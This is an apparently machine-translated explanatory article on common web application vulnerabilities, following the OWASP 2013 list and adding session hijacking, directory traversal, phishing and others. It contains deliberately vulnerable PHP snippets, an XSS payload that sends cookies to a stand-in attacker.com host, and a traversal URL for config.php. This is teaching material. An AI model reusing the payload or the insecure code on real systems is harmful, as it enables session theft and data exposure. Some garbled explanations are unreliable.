Security of web applications
Browser and the Internet are ubiquitous in today’s world – whether on a PC or on a smartphone. But since a long time they’re no longer just for the reputation of websites.
Through modern strategies and a very active development in recent years, the browsers, and even the Internet itself have changed considerably. So currently there is a trend to convert more and more software solutions from the desktop area in full qualified web applications. The arguments for this are far-reaching – from simple decentralized provision through to the complete independence of platforms and locations, so that the software is fully functional on virtually any device at any time.
Nevertheless, this trend implies a potential threat – since now the software as well as all the data is stored centrally, the safety aspect acquires now a new level. SQL injection, cross-site scripting or session hijacking are common terms. But what this means and what consequences may result from this, I would like to explain in the following.
The non-profit organization “OWASP” (Open Web Application Security Project) has set itself the goal to improve the security of applications and services on the Internet. They want security, shall, subject to those involved, the processes and the dimensions of the technology. To this end, they’re regularly publishing statistics on the most common vulnerabilities. The currently most recent dates back to 2013.
Frequent risks (by OWASP 2013)
1. Injection
Injection refers to the attack, in which attempts by injecting arbitrary program code in the application, to paralyze them. This could be done for example through the URL. If this data is not validated on the server side, and so, for example, are transferred directly into a SQL query, there are all doors opened for potential attackers.
$sql = "SELECT * FROM users WHERE id = '" . $_GET['id'] . "'";
2. Broken Authentication and Session Management
This refers to the improper use of sensitive data for the purpose of user authentication. A session is defined as the active connection of a client to a server, started and stopped by the “Login” and “Logout”. In order for the server to be able to identify the individual interactions with the many parallel users definitely it uses in each case an unique identifier, the so called “session ID”. For safety reasons, this should always be kept secret, and even the software itself be known internally.
Here it would be possible, for example, that this (secret) session ID is passed as a parameter to the URL. However if a third person finds out this (eg by sniffing of network traffic), it can navigate these with the profile of the logged-in person, but without ever having known their credentials.
http://example.com/sale/payment?sessionId=123456789&action=view
3. Cross-Site-Scripting (XSS)
Under this designation, two fundamentally different attacks can be meant.
At client-side XSS the attacker tries to inject a website with HTML code (or from another client-side scripting language such as Javascript), which is then executed in the browser of the victim. So it could be possible to initiate a “cross-site request forgery” subsequently.
A server-side XSS is basically the same, however, is here instead of the browser, the web server the aim of the attack. For example, within the software, an additional file is loaded dynamically, this vulnerability could be specifically exploited to execute an unintended one or even one from another server.
$str = '<input tpe="text" name="creditcard" value="' . $_GET['creditcard_number'] . '" />'; echo $str;
"><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?foo=' + document.cookie</script>"
Thus, the browser is constrained then to transmit the session ID to the attacker, and thus to gain unauthorized access to the application (see. Point 2).
4. Insecure Direct Object References
Uncertain object references are defined as the most unwanted disclosure of systemic or user-related data. Mostly this type of attack is used to spy on user data – caused by the non-authenticated execution e.g. of SQL queries with the subsequently direct delivery of the result.
String sql = "SELECT * FROM accounts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(sql, ...);
pstmt.setString(1, request.getParameter("account"));
ResultSet results = pstmt.executeQuery();
The request could look like this:
http://example.com/account/info?account=not_my_account
In this example, an attacker could easily find out whether a specific user account exists or not.
5. Security Misconfiguration
Security updates in the form of patches are provided for server software as well as the components used mostly. But unfortunately they are all too often ignored – in most cases by the fear of compromising the function of an already working system.
But unnecessarily running services and open ports can pose a risk.
6. Sensitive Data Exposure
This point deals with the handling of sensitive data and their secure processing. So a simple encryption based on standard encoding and decoding capabilities is usually not enough, because you can decipher the seemingly “safe” content again just with a few tricks.
So here, for example, the use of public and private keys is of enormous importance. If an attacker gets rid of the sensitive data, it is now only half as bad, as long as the key pair with which the data was encrypted, remains secret. The longer these key pairs are, and they also contain multiple special characters, the harder it is to crack this.
7. Missing Function Level Access Control
For systems with different access rights, it suffices by no means that protected areas are simply be hidden. In most cases it is sufficient just to know the appropriate URL or parameters.
Therefore, it is even more important on the server side to check the user interactions again in order to largely exclude unauthorized access to. However, these checks have to be independent of the information supplied by the user.
Multistage independent validations here are always recommended. For example, it’s not enough only to check whether a user is logged in, and then functions simply hide – it must be taken in any case with regard to the user role, and so those areas for which there has no authorization, completely foreclose.
8. Cross-Site-Request-Forgery (CSRF)
For CSRF an existing session between the server and user is required. The attacker tries here to force actively the unsuspecting user to open by XSS manipulated URLs.
In contrast to session hijacking (detailed explanation below) the session ID doesn’t matter for the attacker.
9. Using components with known vulnerabilities
Theoretically it’s easy to figure out whether to use the latest version of a component, or one with known weaknesses or vulnerabilities.
But in practice, this is very different – because many manufacturers and developers sometimes not use comprehensible version numbers, this can unfortunately be a real challenge.
It is useful to check regularly for updates and possibly also subscribe the newsletters or announcements of the manufacturers.
10. Unvalidated redirects and forwards
This potential vulnerability occurs when continuing or forwarding destinations are passed directly through the URL. To ensure security, these passed URLs should be validated on the server side again before the real forwarding is practiced. Better and more effective is however to pass only IDs or equivalent keys, which are stored for example in a database with the relevant destination URLs behind.
http://example.com/goto.php?url=danger.com
Other risks
Of course, there are other risks and opportunities for attacks too. Just because they are not listed in the latest OWASP statistic, this nevertheless should not be underestimated!
Session Hijacking
Since the HTTP protocol is stateless, the application needs to realize the identification of a user itself. This is done by using the session ID.
At session hijacking, the attacker tries with a “stolen” session ID to fake the identity of a foreign user, and thus to act in its name within the application.
Directory Traversal
In this method, the attacker tries with manipulated paths to resources to get to systemically important data.
http://example.com/download.php?file=stuff.zip
If there’s no more further validation, you could download in the following example instead of the nondescript ZIP folder all configuration files.
http://example.com/download.php?file=../../../config.php
Email injection
This problem usually occurs when there are contact forms inside a website. The attacker attempts in this case to inject malicious code (see. XSS), so the message will not only be sent to the operator of the site, but also to a variety of any people.
This threat is known as “spam”.
Man-In-The-Middle attack
As the name already implies, the attacker is directly inside the user’s network. He directs compounds which actually should affect the target server, over his own computer.
Because now all the network traffic goes through the attackers’ computer, he can easily sniff or manipulate the data.
The only protection provides the use of encrypted connections via SSL. But if it should be possible for the attacker to get to this certificate, this measure is futile.
Denial of Service (DoS)
In a DoS attack, the attacker tries to claim by a plurality of parallel queries the server until this load can no longer withstand.
An increase here represents the distributed DoS (DDoS), in which the requests are not from a single computer, but with hundreds or thousands parallel requests.
Phishing
Phishing does not count directly to the problems of a web application. Instead, an attacker tries to attract the attention of the victim by sending e.g. mass mailings with links to call the entry form or confirmation of PINs or TANs.
If the victim then clicks on this link,it will not be redirected to the supposedly original website, but a visual equivalent of the attacker.
Mostly this occurs in relation to online banking. It is therefore very important to check the domain and (if any) the SSL certificate (indicated by HTTPS).
Legitimate businesses will never ask you for such information – and certainly not via e-mail!
Conclusion
The range of attack methods is vast – the more important it is to pay attention to such weaknesses already during the development phase, in order to avoid problems later.
Attackers are constantly working to bypass security checks, in order to obtain sensitive data and resultantly causing an enormous (financial) damage.
Unfortunately, it is so that software will never be 100 percent secure – you can only increase the safety standards accordingly in order to make it more difficult for attackers.